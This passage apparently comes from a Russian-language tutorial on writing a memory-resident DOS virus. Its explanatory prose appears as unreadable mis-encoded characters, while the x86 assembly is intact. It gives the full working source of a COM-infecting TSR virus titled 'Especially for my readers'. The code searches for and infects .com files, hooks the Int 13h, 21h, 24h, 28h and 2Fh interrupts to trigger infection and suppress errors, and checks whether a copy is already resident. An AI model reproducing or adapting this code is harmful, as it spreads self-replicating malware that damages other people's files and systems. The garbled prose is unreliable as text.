       ᪮ 室饣 COM - 䠩  
     ࠦ.  ࠪ᪨  ⫨-
      ⢨ १⭮ ,   ⮬
      ᯮ㥬 ࠧࠡ⠭ ࠭ ,  
    ⠭ ஡   ࠡ :

    all_right: mov ah,2fh             ;稬 ⥪
               int 21h                ;DTA ( ES : BX )

               mov bp,bx

	       mov cx,80h             ;࠭ 
	       lea si,dta_save        ;DTA ...
               mov di,bp
    save_dta:
	       mov al,byte ptr es:[di]
	       mov [si],al
	       inc si
               inc di
	       loop cs:save_dta

    find_first:                       ; 
	       mov ah,4eh             ;䠩 ...
	       mov cx,00100111b
	       lea dx,maska
	       int 21h
	       jnc cs:retry_2
	       jmp restore_dta

    find_next: mov ah,3eh             ;஥ -
	       int 21h                ;室騩 䠩
	       jnc cs:retry_1
	       jmp cs:restore_dta

    retry_1:   mov ah,4fh             ; ᫥-
	       int 21h                ;騩 ...
	       jnc cs:retry_2
	       jmp cs:restore_dta

    retry_2:   mov cx,12              ;६ ஥
	       lea si,fn              ;  
    destroy_name:
	       mov byte ptr [si],0
	       inc si
	       loop cs:destroy_name

               xor si,si              ; 襬 㤠
 	       mov di,bp              ; ...
    copy_name: mov al,byte ptr es:[di+1eh]
	       cmp al,0
	       je cs:check_command
	       mov byte ptr fn[si],al
	       inc si
               inc di
	       jmp cs:copy_name

    check_command:
                                      ;஢ਬ, 
                                      ; - 
               call cs:search         ;䠩 
               cmp inside,1           ;஬...
               je cs:retry_1

               mov ax,3d02h           ;஥ 
	       lea dx,fn              ;䠩 ...
	       int 21h
	       jnc cs:save_bytes
	       jmp cs:restore_dta

    save_bytes:                       ;⠥ 
	       mov bx,ax              ; 
	       mov ah,3fh
	       mov cx,3
	       lea dx,old_bytes
	       int 21h
	       jnc cs:found_size
	       jmp cs:close

    found_size:mov di,bp
               cmp word ptr es:[di+01ch],0
               jne cs:more_64K        ;  ࠧ-
	       mov ax,es:[di+01ah]    ; ...

    count_size:mov si,ax              ;᫨
                                      ;ᬥ饭 ...
	       cmp ax,64000
	       jna cs:smallest
    more_64K:  jmp cs:find_next
    smallest:  test ax,000fh
	       jz cs:krat_16
	       or ax,000fh
	       inc ax
    krat_16:   mov di,ax
	       sub ax,3
	       mov byte ptr new_bytes[1],al
	       mov byte ptr new_bytes[2],ah
	       mov ax,di
	       mov cl,4
	       shr ax,cl
	       dec ax
	       mov byte ptr add_to_ds,al
	       mov byte ptr add_to_ds+1,ah

	       mov ax,4200h           ;⠥ ᫥-
	       xor cx,cx              ;  ...
	       dec si
	       mov dx,si
	       int 21h
	       jnc cs:read_last
	       jmp cs:close

    read_last:
	       mov ah,3fh
	       mov cx,1
	       lea dx,last
	       int 21h
	       jc cs:close

	       cmp last,'1'           ; -
	       jne cs:write_vir       ; ...
	       jmp cs:find_next

    write_vir: mov ax,4200h           ;襬 砫
	       xor cx,cx              ; ...
	       mov dx,di
	       int 21h
	       jc cs:close

               mov ah,40h
               mov cx,2
               lea dx,end_file
               int 21h
               jc cs:close
                                      ; ⠫
               mov ah,40h             ; ...
               mov cx,vir_len - 2
               lea dx,vir + 2
               int 21h
               jc cs:close

    write_bytes:                      ;襬 
	       mov ax,4200h           ; 
	       xor cx,cx
	       xor dx,dx
	       int 21h
	       jc cs:close

               mov ah,40h
               mov cx,3
               lea dx,new_bytes
               int 21h

    close:     mov ah,3eh             ;஥ -
               int 21h                ; 䠩

    restore_dta:
               mov cx,80h             ;⠭ DTA
	       lea si,dta_save
               mov di,bp
    dta_fresh:
               mov al,[si]
	       mov byte ptr es:[di],al
	       inc si
               inc di
	       loop cs:dta_fresh

     ,  ᮧ ࠭ ࠣ 뫨 -
      ,    ᥩ  ࠧ-
    ६ .
    ᪮  㤥 ࠦ 䠩  १⭮
    ०, 㤥 짮 DTA ⨢  
     ணࠬ, ਢ   ࠧ襭.-
     ⮣  ந室, 㦭 ࠭    -
      ,  ᫥ 襭 ࠡ -
     - ⠭.  ⥪饩 DTA -
       㭪樨 DOS 2Fh,   ᯮ-
     ᮬ .
    饥 ⫨稥 -   ஢, -
      䠩   ஬  COMMAND.
    COM . ⮣ ᯮ 楤 SEARCH,-
     頥 INSIDE = 1,  ᫨   
    ,  INSIDE = 0 -  ⨢ 砥 .
       COM-䠩  ᠬ   EXE -
    ଠ,  ࠧ  ॢ 64 , ᫥-
      ஢,    -    
    䠩    ⠪,    ࠦ  㤥
     ᯮ祭 . ⮩ 楫   뢠
     DTA ᫮  ᬥ饭  01Ch,   ࠢ  
     㫥 .᫨  ᫮ ࠢ ,ࠧ 䠩 
    ॢ蠥 64 ,   ࠦ .஬ -
    , 뫮  ஢ ଠ 䠩. -
     㦭  ஢    . ᫨  
       EXE - 䠩,  㪠   -
    ঠ ASCII -  ᨬ " M "  " Z ". 㬠,
    ⥫ ᠬ    ᪮쪮 -
      ⮣ .
     ᫥ -  ᭨,( . . 2.5)  -
      ⠬,  뢠  -
     䠩,    室   ᥪ
    樠樨  . 㭪 믮 -
    ,ᠭ  ⪮ " write_vir " .  -
     室 ࠭   " end_file " .

    *
       ᯥ থ⢮   ⮣,  -
       ⮩   ᬮ ᤥ , ࠦ騩
      COMMAND.COM,  ⮬, ⭮,  "砩-
      ".   ᠬ    ⫨筮 ࠡ⠥ 
       ஬   ⮬  . -
        ⮫쪮  襣  , ⠪ 
      ࠦ  COMMAND.COM " ⠭ " ᮬ
      - ࠩ ⭮  ᮡ⨥. ⮢ -
      ⥫   㤠  ᭨ ⠪ "  ".


              2.15 ⠭ ॣ

    । ⥬,  । ࠢ ࢠ -
    ࠬ,室 ⠭ 祭 ॣ஢,
        祭 ࠢ १-
    ⭮  ணࠬ :

    exit_zarasa:                      ;⠭
                                      ;ॣ
                                      ; ...
               pop es
               pop ds
               pop bp
               pop di
               pop si
               pop dx
               pop cx
               pop bx
               pop ax
	       popf
               mov ss,cs:ss_save-110h ;⠭
               mov sp,cs:sp_save-110h ;⥪ ...
               iret

    ஬ ⮣,  ⠭ ⥪  ࢠ
    ணࠬ,  祣 쭥 ࠡ  .


            2.16 襬 ࠡ稪 뢠

     砫 ᭨,  뢠    -
       㤥 墠뢠 .
     - , 室 墠 뢠 Int
    21h .  ⮬,      १-
    ,   ࠦ 䠩      -
      ᫨⥫쭮 ⥬.祭  -
     ⨢, ਬ, ᬥ ⥪饣 -
    ᪠  ⠫ . ⮤  쬠 㤠-
    ,   ॠ㥬   .  ⮣ 㦭
    ,   믮 ᬥ ⠫ 
    ᪠.⢥ ᯮᮡ 㧭  ⠪ ᮡ⨨ -
     墠 뢠 Int 21h  ᥡ,   
      맮 ஢,    㭪
    뢠 .    ᤥ .
     - ,     墠 Int 13h
    (  . 2.13 ) .
     - ,᪮   㤥 짮
    㭪ﬨ DOS, ࠡ  ᪮  १-
    ⭮ ०,室 ,  ᭮
       ⨬  㭪 .   ⮣  ᫥
    墠 뢠 Int 28h,஥ ᥣ  -
    뢠 ⮫쪮  믮 DOS ॥ࠡ쭮
    ᥪ樨 ᢮  .묨 ᫮,  -
      뢠 Int 28h   ᬥ  짮
    묨  㭪ﬨ DOS .
    ,  ஢ન  ᭮   -
        㤥  ᯮ짮  ⠪  뢠
    ⨯᭮ 뢠 - Int 2fh,  ⮬  
     墠   (  . 2.7 ) .
    , ,    ࠡ稪 -
    ᪮ 訡 . ,ਬ,᫨   -
    ⠥  ଠ    ᪮
    ᪥ .     墠 뢠
     ᪮ 訡 ( Int 24h )  믮  
    ࠡ .


                 2.17 ࠡ稪 Int 13h

      㦥 ᭨,  ࠡ稪   -
    뢠  祩 " tg_13h " 祭 " 1 ", ᫨  
      믮 뢠 Int 13h,  
    祭 " 0 " -  ⨢ 砥 .
     ᮦ, MS DOS   -  -
    ⢮,  饥 㧭,     ⨢
    뢠 Int 13h . ⮬  ⢥ ᯮᮡ
    襭 ⮩  - ⠭  Int 13h ⠪ -
    뢠 " 䨫 ",    ᫥  
    맮 㪠 뢠 .
     ⮥ 襭 -  墠 Int 13h 
    ᥡ,  ᠬ ࠡ稪 맢 ⥬ -
    稪   楤 .筮,  । ⨬
    㦭   " tg_13h"  -  㤥 -
    ஬ 믮 Int 13h     .-
     ⥬  ࠡ稪  믮,  ࠢ
      " 䨫 ".᪮ Int 13h 㦥 -
    ,    "0" ६ tg_13h.
    ⠪ :

    ; _______________________________________________
    ;|                                               |
    ;| 襬  ࠡ稪 INT 13h, INT 21h,   |
    ;| INT 24h  INT 2fh ...                         |
    ;|_______________________________________________|

               to_new_13h equ $-vir

    new_13h:   jmp cs:start_13h

    tg_13h     db   0
    ax_13h     dw   0
    cs_13h     dw   0
    ip_13h     dw   0

    start_13h: mov cs:tg_13h - 110h,1
               pushf
               db 9ah                 ; 
    old_13h    dw 0                   ; " CALL " ...
    old_13h_2  dw 0
               mov cs:ax_13h - 110h,ax;⨬ 
               pop ax                 ;䫠  
               mov cs:ip_13h - 110h,ax;ண ( CF )
               pop ax
               mov cs:cs_13h - 110h,ax
               pop ax
               pushf
               mov ax,cs:cs_13h - 110h
               push ax
               mov ax,cs:ip_13h - 110h
               push ax
               mov ax,cs:ax_13h - 110h
               mov cs:tg_13h - 110h,0
               iret

     ⠭ " to_new_13h " 뢠 ᬥ饭
     砫 ᭮   砫 ࠡ稪 .
    ⥫       ᮡ-
     . ⮨  ⮬,  뢠 Int 21h 
    Int 13h   ॣ AX   訡, 
    CF ॣ 䫠 ᯮ   ⮩
    訡 .
    , ਬ,  祭 䨫஬ ࠢ
     CF   祭  FLAG 1,   ॣ CS  IP
     祭 CS 1  IP 1.  " pushf "
     祭 FLAG 1  ⥪ . "call" -
      ⥪ 祭 CS 1  IP 1,᫥ 祣  -
    ࠢ  ⥬ ࠡ稪 .  -
    稪   ⥪ 祭 FLAG 2,   ᢮
    襭 믮  "iret" . "iret"
    ᭨  設 ⥪ 祭 IP 1,CS 1  FLAG2.
     㦥  䨫    " 0 "  ६
    " tg_13h ",  " iret " । ࠢ
    ࢠ ணࠬ .   ⮬,   -
        ⥪  祭 IP  CS,  
        맮 뢠 Int 13h,  
    ⠪ ॣ 䫠 FLAG 1 . ࠧ, -
     㤥 祭 FLAG 1  FLAG 2 !⮡ -
      ந諮,     ⥪ FLAG 2
     FLAG 1 .   ⮣ ।祭 -
    ,ᠭ ᫥ 祩 " old_13h_2 ".
      ᮡ ᭥  ॡ . 
    " ࠥ "  㦭 祩  ⥪,  ᫥-
    ⥫쭮 뢠 ।騥 ., 筮,
      䥪⨢ ࠣ, ࠭
     ⮤ 筮  .


                 2.18 ࠡ稪 Int 21h

    ᬮਬ ⥯ ᮧ ࠡ稪  뢠
    Int 21h .  ਫ,     
    "  "  祩 " tg_infect ",  ᫨ DOS  -
     ᬥ ⥪饣 ⠫  ᪠  (  .
    2.5 ) .⮬ 襬  " 䨫 ",   㤥
    ஢,   㭪 DOS 맢   
       :

    ;-------------------------------------------------

               to_new_21h equ $-vir

    new_21h:   jmp cs:start_21h

    tg_infect  db   0

    start_21h: pushf
               push di
               push es
               xor di,di              ;墠
               mov es,di              ;INT 24h  १-
               mov di,90h             ;⭮ ०
               mov word ptr es:[di],to_new_24h
               mov es:[di+2],cs
               cmp ah,03bh            ;⨢஢
                                      ; ?
               jne cs:new_cmp_1
               mov cs:tg_infect-110h,1; - 
                                      ;ਣ ...
    new_cmp_1: cmp ah,00eh
               jne cs:to_jump
               mov cs:tg_infect - 110h,1
    to_jump:   pop es
               pop di
               popf
               db 0eah                ;室  -
    old_21h    dw 0                   ; ࠡ稪
    old_21h_2  dw 0                   ;INT 21h ...

    ᪮  맮 㭪樨 DOS  ॣ AH -
      ,筮  ஠஢
      " 뫮 " 㦭 祭.  㤥
    ॠ஢  ᬥ ⥪饣 ⠫ (AH=03Bh),
    ᬥ ⥪饣 ᪠ (AH=0Eh) . ᫠  ⠥-
     㦨 " 䨫 " .
     - ⠪   㦭 ᥣ   ।,
     㭪 DOS 맢,  ᫠ ᫥ -
    襭 ⥬ ࠡ稪 । ࠢ
    ⭮  " 䨫 " . ⮩ 稭 ⯠ -
    室 ᫮ " 権 "  ⥪, -
      த뢠  ।饬 㭪 .
     襭 ᢮ ⭮ , ᠭ
     ࠡ稪 ᯮ  墠  -
     Int 24h.   饭  -
     ஢  뢠 .    墠뢠
    뢠  ᥪ  樠樨    ⠭
       .ࠢ,   , 祬
    ॡ ⠪ ᫮  ⮤  墠,
     祬   믮   ᥪ樨  樠-
    樨 ?   ⮬,  ⠪ ਥ 㤥 "ࠡ"
    ⮫쪮  MS DOS .WINDOWS 95,  ਬ,  ﭭ
    ⠭  Int 24h,   -
    ᫥   " ⮫쪮  ࠧ ".-
     ᪠, 祬  WINDOWS 95 ਭ ⠭-
      .⭮,  ᤥ   -
     ࠡ ⥬ . ᮧ १⭮ EXE-
       ਬ      " ࠭ "
    ⮩ ୮ 樮 ⥬, -
    蠥  ᤥ  ணࠬ  "  "
     ⨢ । .


                 2.19 ࠡ稪 Int 24h

     ࠡ稪   ⠭  ᮡ⢥
    ॠ   訡 .뢠  祭
    ।,⮬  ᤥ ⠪,⮡  -
     訡  ந室 " ᠭ " . ⮣
    筮  ࠢ ࢠ  ணࠬ-
    ,⨢ ।⥫쭮  ॣ AL  " 3 ":

    ;-------------------------------------------------

               to_new_24h equ $ - vir

    new_24h:   mov al,3               ;୥ ணࠬ-
               iret                   ; ࠢ


                 2.20 ࠡ稪 Int 2Fh

    襬 ࠡ稪 Int 2Fh .  ਫ ᯮ-
    짮  뢠  ஢ન  -
       .
    , ᥪ 樠樨  襭 㪠-
      뢠 Int 2Fh c ⠪ ࠬ-
     :

     AX = 0F000h
     BX = 01997h .

    ᫨  㦥 ⠫஢  , ࠡ-
    稪   AL = 0FFh,  祭   -
     ᥪ 樠樨  ᪥ ࠦ-
    让 ணࠬ . 室  ᥣ ᪠,  
     ⠪ ࠣ :

    ;-------------------------------------------------
               to_new_2fh equ $ - vir

    new_2fh:   pushf
               cmp ax,0f000h
	       jne cs:not_our
	       cmp bx,1997h
	       jne cs:not_our
	       mov al,0ffh
	       popf
               iret

    not_our:   popf
               db 0eah
    old_2fh    dw 0
    old_2fh_2  dw 0

    ᫨ 뢠 뢠 Int 2Fh  ࠬࠬ,
    ⫨묨   AX = 0F000h  BX = 01997h,  
    ࠡ稪  頥 ࠢ  ⥬-
     .  ⨢ 砥 ࠢ । -
    ࢠ ணࠬ,  祬   ⮬ 砥 AL 㤥
    ࠢ 0FFh.


                 2.21 ࠡ稪 Int 28h

    ண ,    㦥 ᠫ ( . . 2.5 ,
    . 2.6  .. ).   ᪮  -
    ࠦ 䠩,  ⮣ 㭪ﬨ DOS.
     ⠪   㭪樨 ᯮ  ⮣,  
    ⨢ 뢠 Int 28h, 祣 譮  -
       .


               2.22   

         ਢ  ,   묨
    ࠡ⠥   :

    ;/***********************************************/

    ;Data area

    old_bytes   db   0e9h             ;室 
                dw   vir_len + 0dh    ; ...

    dta_save    db   128 dup (0)      ;ᨢ  DTA

    maska       db   '*.com',0        ;᪠  -
                                      ; ...

    fn          db   12 dup (' '),0   ;  
                                      ;䠩

    new_bytes   db   0e9h             ; 
                                      ;" JMP ..."
                db   00h              ;HIGH
                db   00h              ;LOW
                                      ; 뢠
                                      ; 䠩 
                                      ; 
                                      ; ...

    end_file    db   0ebh             ;  -
                db   push_len         ;  
                                      ;䠩 (
                                      ;室  -
                                      ; 樠-
                                      ;樨 ...

    ss_save     dw   0                ;  SS
    sp_save     dw   0                ; SP ...

    help_word   dw   0                ;஬筠
                                      ;祩 .

    com_com     db   'COMMAND'        ; 
                                      ; ...

    inside      db   0                ;祩 - -
                                      ; ...

    last        db   0                ;᫥ 

    to_newstack equ  $ - vir          ;饭  -
                                      ; ...
    newstack    dw   70 dup ( 0 )     ; ⥪ ...


         2.23 楤 䨪樨 COMMAND.COM

    ਢ  ⥪ 楤, ன   
    .  楤 ஢, -   -
      䠩  ஬ COMMAND.COM
     頥 INSIDE = 1,  ᫨     
      .
    ⠪ :

    ;-------------------------------------------------

    search     proc                   ;楤
               push ax                ;ࠢ
               push cx                ;ப ...
               mov inside,1
               lea di,fn
               lea si,com_com
               mov cx,7
    new_cmp:   mov al,byte ptr ds:[si]
               cmp byte ptr ds:[di],al
               jne cs:not_equal
               inc di
               inc si
               loop cs:new_cmp
               jmp cs:to_ret
    not_equal: mov inside,0
    to_ret:    pop cx
               pop ax
               ret
    search     endp

     楤 筮 ᭠    
     㦤 .


                 2.24 蠥 ணࠬ

     ਭ樯,   ணࠬ  ⠪ ,
      । :

                db   '1'              ;᫥ 
                                      ;  䠩
    vir_len     equ  $-vir            ;  
                                      ; ...
    vir_par     equ  ( $-vir + 0fh ) / 16
                                      ;  ࠣ

    prg_end:   mov ax,4c00h           ;室  DOS
               INT 21H                ;⮫쪮  -
                                      ;᪠饩 ண-
                                      ;ࠬ ...

	        db '1'                ;  ᫥
                                      ; ...

    prg ends                          ;⠭⭮
    end start                         ;" 砭 "
                                      ;ASM - ணࠬ

    ⢥ ⫨稥  砥   ⮬,   -
    ॡ  ⠭ " vir_par ". 㦭
      室     -
    ⠫樨     㣨 ᫥.


           2.25  १⭮ COM - 

       ਢ  ⥪  १⭮
    ணࠬ -  :

    ; _______________________________________________
    ;|                                               |
    ;| COM TSR virus                                 |
    ;| Especially for my readers                     |
    ;|_______________________________________________|

    prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h

    start:     jmp vir

	       org 110h
	                              ; ⪨ " vir "
                                      ;䠪᪨ -
                                      ;稭 -
                                      ;稪 Int 28h

    vir:       db 0ebh                ;90h -  १-
               db push_len            ;90h   ⭮
                                      ;      ࠡ .

               pushf
               cmp cs:tg_infect-110h,1;⨢-
                                      ; ?
               je cs:vir_2            ; ...
               call dword ptr cs:old_28h - 110h
                                      ; - 맮
                                      ; ࠡ-
                                      ;稪 INT 28h,
                                      ;⮡  ⮯
                                      ;㣨 TSR ...
               iret

    vir_2:     popf                   ;४砥
                                      ;⥪  TSR -
                                      ;ᯮ 
               mov cs:ss_save-110h,ss ;ᥡ ...
               mov cs:sp_save-110h,sp
               mov cs:help_word - 110h,cs
               mov ss,cs:help_word - 110h
               mov sp,to_newstack + 136
               mov cs:tg_infect - 110h,0
               pushf                  ;뢠 
               db 9ah                 ;ࠡ稪
    old_28h    dw 0                   ;INT 28h ...
    old_28h_2  dw 0
               pushf                  ;࠭  -
               push ax                ; ॣ ...
               push bx
               push cx
               push dx
               push si
               push di
               push bp
               push ds
               push es
               jmp cs:infect          ;३  -
                                      ; 䠩
               push_len equ $-vir - 2

               mov ax,ds              ;४㥬 DS
                                      ; १-
                                      ; ࠡ ...
               db 05h                 ; 
    add_to_ds: dw 0                   ;" ADD AX,00h "
	       mov ds,ax

               mov ax,0f000h          ;஢ਬ, 
               mov bx,1997h           ;  ,
               int 2fh                ;   ...
               jc fresh_bytes

       	       cmp al,0ffh
      	       jne free_mem           ; -
                                      ;⠭

    fresh_bytes:                      ;⠭
	       mov al,old_bytes       ;  -
                                      ; ࠦ
	       mov cs:[100h],al       ;ணࠬ ...
	       mov al,old_bytes+1
	       mov cs:[101h],al
	       mov al,old_bytes+2
	       mov cs:[102h],al
               mov ax,cs              ;⠭
                                      ;ᥣ
               mov es,ax              ;ॣ ...
               mov start_cs,ax
               mov ds,ax
               jmp cl_conv_1          ;। ࠢ-
    cl_conv_1: db 0eah                ; ࠦ-
               dw 100h                ; ணࠬ
    start_cs   dw 0

    free_mem:  mov ah,4ah             ;। ꥬ
                                      ;㯭 -
                                      ; ...
               mov bx,0ffffh          ; -
               int 21h                ; 祭
                                      ;(0ffffh) !

    ; _______________________________________________
    ;|  ᢮  ,⮡  뫮|
    ;|    १   ...  |
    ;|_______________________________________________|

               sub bx,vir_par + 2     ;⠢ 
                                      ; 2 ࠣ
                                      ;, 祬
                                      ; ᠬ 
               mov ah,4ah             ; ⠫쭠 -
               int 21h                ; 㤥
               jc fresh_bytes         ; ...

               mov ah,48h             ;ᨬ DOS
                                      ;⤠ ᢮-
                                      ;   .
               mov bx,vir_par + 1     ;  
               int 21h                ;ࠣ ...
               jc fresh_bytes

    ; _______________________________________________
    ;|  ᢮              |
    ;| ( ᥣ   AX ),                   |
    ;| 㦭      ...          |
    ;|_______________________________________________|

               xor di,di              ; 
               mov bx,ax              ;"" 
               dec bx                 ; ...
               mov word ptr cs:[2],bx
               mov es,bx
               mov bx,0070h
               mov es:[di+1],bx

               mov es,di              ;砥 -
                                      ; 뢠
               cli
               mov di,084h            ;Int 21h ...
               mov bx,es:[di]
               mov old_21h,bx
               mov bx,es:[di+2]
               mov old_21h_2,bx

               mov di,0bch            ;Int 2fh ...
               mov bx,es:[di]
               mov old_2fh,bx
               mov bx,es:[di+2]
               mov old_2fh_2,bx

               mov di,04ch            ;Int 13h ...
               mov bx,es:[di]
               mov old_13h,bx
               mov bx,es:[di+2]
               mov old_13h_2,bx

               mov di,0a0h            ;Int 28h ...
               mov bx,es:[di]
               mov old_28h,bx
               mov bx,es:[di+2]
               mov old_28h_2,bx
               sti

               mov word ptr vir,9090h ;⠢
               mov tg_infect,0        ;  १-
                                      ;⭮ ࠡ

               mov es,ax              ; 㥬 
               xor di,di              ; ...
               mov cx,vir_len
    prg_copy:  mov bl,byte ptr vir[di]
               mov byte ptr es:[di],bl
               inc di
               loop prg_copy

               xor bx,bx              ;⠭
                                      ; -
	       mov es,bx              ;  -
               cli                    ; ࠡ稪
               mov di,084h
               mov word ptr es:[di],to_new_21h
               mov es:[di+2],ax       ; Int 21h

               mov di,0bch
               mov word ptr es:[di],to_new_2fh
               mov es:[di+2],ax       ; Int 2fh

	       mov di,04ch
               mov word ptr es:[di],to_new_13h
               mov es:[di+2],ax       ; Int 13h

	       mov di,0a0h
               mov word ptr es:[di],0
               mov es:[di+2],ax       ; Int 28h
               sti

               jmp fresh_bytes        ;⠭
                                      ;襭 ...

    infect:    push cs
               pop ds

               mov ax,ds              ;TSR - ४
               sub ax,11h             ;DS ...
               mov ds,ax

               cmp tg_13h,0           ;INT 13h
                                      ;믮 ?
               je cs:all_right        ; ...
               jmp cs:exit_zarasa     ; -  室

    all_right: mov ah,2fh             ;稬 ⥪
               int 21h                ;DTA ( ES : BX )

               mov bp,bx

	       mov cx,80h             ;࠭ 
	       lea si,dta_save        ;DTA ...
               mov di,bp
    save_dta:
	       mov al,byte ptr es:[di]
	       mov [si],al
	       inc si
               inc di
	       loop cs:save_dta

    find_first:                       ; 
	       mov ah,4eh             ;䠩 ...
	       mov cx,00100111b
	       lea dx,maska
	       int 21h
	       jnc cs:retry_2
	       jmp restore_dta

    find_next: mov ah,3eh             ;஥ -
	       int 21h                ;室騩 䠩
	       jnc cs:retry_1
	       jmp cs:restore_dta

    retry_1:   mov ah,4fh             ; ᫥-
	       int 21h                ;騩 ...
	       jnc cs:retry_2
	       jmp cs:restore_dta

    retry_2:   mov cx,12              ;६ ஥
	       lea si,fn              ;  
    destroy_name:
	       mov byte ptr [si],0
	       inc si
	       loop cs:destroy_name

               xor si,si              ; 襬 㤠
 	       mov di,bp              ; ...
    copy_name: mov al,byte ptr es:[di+1eh]
	       cmp al,0
	       je cs:check_command
	       mov byte ptr fn[si],al
	       inc si
               inc di
	       jmp cs:copy_name

    check_command:
                                      ;஢ਬ, 
                                      ; - 
               call cs:search         ;䠩 
               cmp inside,1           ;஬...
               je cs:retry_1

               mov ax,3d02h           ;஥ 
	       lea dx,fn              ;䠩 ...
	       int 21h
	       jnc cs:save_bytes
	       jmp cs:restore_dta

    save_bytes:                       ;⠥ 
	       mov bx,ax              ; 
	       mov ah,3fh
	       mov cx,3
	       lea dx,old_bytes
	       int 21h
	       jnc cs:found_size	       jmp cs:close

    found_size:mov di,bp
               cmp word ptr es:[di+01ch],0
               jne cs:more_64K        ;  ࠧ-
	       mov ax,es:[di+01ah]    ; ...

    count_size:mov si,ax              ;᫨
                                      ;ᬥ饭 ...
	       cmp ax,64000
	       jna cs:smallest
    more_64K:  jmp cs:find_next
    smallest:  test ax,000fh
	       jz cs:krat_16
	       or ax,000fh
	       inc ax
    krat_16:   mov di,ax
	       sub ax,3
	       mov byte ptr new_bytes[1],al
	       mov byte ptr new_bytes[2],ah
	       mov ax,di
	       mov cl,4
	       shr ax,cl
	       dec ax
	       mov byte ptr add_to_ds,al
	       mov byte ptr add_to_ds+1,ah

	       mov ax,4200h           ;⠥ ᫥-
	       xor cx,cx              ;  ...
	       dec si
	       mov dx,si
	       int 21h
	       jnc cs:read_last
	       jmp cs:close

    read_last:
	       mov ah,3fh
	       mov cx,1
	       lea dx,last
	       int 21h
	       jc cs:close

	       cmp last,'1'           ; -
	       jne cs:write_vir       ; ...
	       jmp cs:find_next

    write_vir: mov ax,4200h           ;襬 砫
	       xor cx,cx              ; ...
	       mov dx,di
	       int 21h
	       jc cs:close

               mov ah,40h
               mov cx,2
               lea dx,end_file
               int 21h
               jc cs:close
                                      ; ⠫
               mov ah,40h             ; ...
               mov cx,vir_len - 2
               lea dx,vir + 2
               int 21h
               jc cs:close

    write_bytes:                      ;襬 
	       mov ax,4200h           ; 
	       xor cx,cx
	       xor dx,dx
	       int 21h
	       jc cs:close

               mov ah,40h
               mov cx,3
               lea dx,new_bytes
               int 21h

    close:     mov ah,3eh             ;஥ -
               int 21h                ; 䠩

    restore_dta:
               mov cx,80h             ;⠭ DTA
	       lea si,dta_save
               mov di,bp
    dta_fresh:
               mov al,[si]
	       mov byte ptr es:[di],al
	       inc si
               inc di
	       loop cs:dta_fresh

    exit_zarasa:                      ;室  ⥬
               pop es
               pop ds
               pop bp
               pop di
               pop si
               pop dx
               pop cx
               pop bx
               pop ax
	       popf
               mov ss,cs:ss_save-110h ;⠭
               mov sp,cs:sp_save-110h ;⥪ ...
               iret

    ;-------------------------------------------------

    ; _______________________________________________
    ;|                                               |
    ;| 襬  ࠡ稪 INT 13h, INT 21h,   |
    ;| INT 24h  INT 2fh ...                         |
    ;|_______________________________________________|

               to_new_13h equ $-vir

    new_13h:   jmp cs:start_13h

    tg_13h     db   0
    ax_13h     dw   0
    cs_13h     dw   0
    ip_13h     dw   0

    start_13h: mov cs:tg_13h - 110h,1
               pushf
               db 9ah
    old_13h    dw 0
    old_13h_2  dw 0
               mov cs:ax_13h - 110h,ax;⨬ 
               pop ax                 ;䫠  
               mov cs:ip_13h - 110h,ax;ண ( CF )
               pop ax
               mov cs:cs_13h - 110h,ax
               pop ax
               pushf
               mov ax,cs:cs_13h - 110h
               push ax
               mov ax,cs:ip_13h - 110h
               push ax
               mov ax,cs:ax_13h - 110h
               mov cs:tg_13h - 110h,0
               iret

    ;-------------------------------------------------

               to_new_21h equ $-vir

    new_21h:   jmp cs:start_21h

    tg_infect  db   0

    start_21h: pushf
               push di
               push es
               xor di,di              ;墠
               mov es,di              ;INT 24h  १-
               mov di,90h             ;⭮ ०
               mov word ptr es:[di],to_new_24h
               mov es:[di+2],cs
               cmp ah,03bh            ;⨢஢
                                      ; ?
               jne cs:new_cmp_1
               mov cs:tg_infect-110h,1; - 
                                      ;ਣ ...
    new_cmp_1: cmp ah,00eh
               jne cs:to_jump
               mov cs:tg_infect - 110h,1
    to_jump:   pop es
               pop di
               popf
               db 0eah                ;室  -
    old_21h    dw 0                   ; ࠡ稪
    old_21h_2  dw 0                   ;INT 21h ...

    ;-------------------------------------------------

               to_new_24h equ $ - vir

    new_24h:   mov al,3               ;୥ ணࠬ-
               iret                   ; ࠢ 
                                      ; 訡 ...

    ;-------------------------------------------------

               to_new_2fh equ $ - vir

    new_2fh:   pushf
               cmp ax,0f000h
	       jne cs:not_our
	       cmp bx,1997h
	       jne cs:not_our
	       mov al,0ffh
	       popf
               iret

    not_our:   popf
               db 0eah
    old_2fh    dw 0
    old_2fh_2  dw 0

    ;/***********************************************/

    ;Data area

    old_bytes   db   0e9h             ;室 
                dw   vir_len + 0dh    ; ...

    dta_save    db   128 dup (0)      ;ᨢ  DTA

    maska       db   '*.com',0        ;᪠  -
                                      ; ...

    fn          db   12 dup (' '),0   ;  
                                      ;䠩

    new_bytes   db   0e9h             ; 
                                      ;" JMP ..."
                db   00h              ;HIGH
                db   00h              ;LOW

    end_file    db   0ebh             ;  -
                db   push_len         ;  
                                      ;䠩 ...

    ss_save     dw   0                ;  SS
    sp_save     dw   0                ; SP ...

    help_word   dw   0                ;஬筠
                                      ;祩 .

    old_attr    db   0                ;室 -
                                      ; 䠩 ...

    com_com     db   'COMMAND'        ; 
                                      ; ...

    inside      db   0                ;祩 - -
                                      ; ...

    last        db   0                ;᫥ 

    to_newstack equ  $ - vir          ;饭  -
                                      ; ...
    newstack    dw   70 dup ( 0 )     ; ⥪ ...

    ;-------------------------------------------------

    search     proc                   ;楤
               push ax                ;ࠢ
               push cx                ;ப ...
               mov inside,1
               lea di,fn
               lea si,com_com
               mov cx,7
    new_cmp:   mov al,byte ptr ds:[si]
               cmp byte ptr ds:[di],al
               jne cs:not_equal
               inc di
               inc si
               loop cs:new_cmp
               jmp cs:to_ret
    not_equal: mov inside,0
    to_ret:    pop cx
               pop ax
               ret
    search     endp

                db   '1'              ;᫥ 
                                      ; ...
    vir_len     equ  $-vir            ;  
                                      ; ...
    vir_par     equ  ( $-vir + 0fh ) / 16
                                      ;  ࠣ

    prg_end:   mov ax,4c00h           ;室  DOS
               INT 21H                ;⮫쪮  -
                                      ;᪠饩 ண-
                                      ;ࠬ ...

	        db '1'                ;  ᫥
                                      ; ...

    prg ends                          ;⠭⭮
    end start                         ;" 砭 "
                                      ;ASM - ணࠬ


                     2.26 ਨ

     ⫨稥  ।饣,ࠧࠡ⠭  ⮩ -
        ᪨ 䠩   ࠦ 
    ᥬ ⪮ ᪥    ᪥ .  
     쭮 ࠧ   ࠭騬.
